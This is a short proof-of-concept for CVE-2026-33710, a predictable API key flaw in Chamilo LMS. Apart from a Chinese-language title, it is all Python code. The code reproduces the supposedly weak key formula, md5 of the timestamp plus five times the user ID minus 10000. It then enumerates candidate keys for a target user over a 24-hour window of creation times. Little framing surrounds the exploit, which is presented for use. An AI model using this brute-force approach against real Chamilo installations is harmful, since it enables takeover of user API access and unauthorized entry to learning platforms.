CVE-2026-33710 Chamilo LMS API密钥可预测漏洞

import hashlib import time def generate_poc_key(user_id, timestamp): """ Simulates the vulnerable key generation logic. Formula: md5(time() + (user_id * 5) - 10000) """ # The vulnerable logic: rand(10000, 10000) is always 10000 factor = 10000 raw_input = timestamp + (user_id * 5) - factor return hashlib.md5(str(raw_input).encode()).hexdigest() def brute_force_api_key(user_id, start_time, duration_seconds=86400): """ Brute force the API key based on user ID and approximate creation time. """ print(f"[*] Brute forcing API key for User ID: {user_id}") print(f"[*] Time window: {duration_seconds} seconds from {start_time}") for t in range(start_time, start_time + duration_seconds): potential_key = generate_poc_key(user_id, t) # In a real attack, you would check this against the target API # print(f"Trying timestamp {t}: {potential_key}") if t % 3600 == 0: print(f"[*] Progress: checked {t - start_time} seconds...") # Example output for demonstration example_key = generate_poc_key(user_id, start_time) return f"Potential key found at base timestamp: {example_key}" # Example Usage if __name__ == "__main__": target_user_id = 1 # Assume we know the key was created around this timestamp (Unix timestamp) approximate_creation_time = int(time.time()) result = brute_force_api_key(target_user_id, approximate_creation_time) print(result)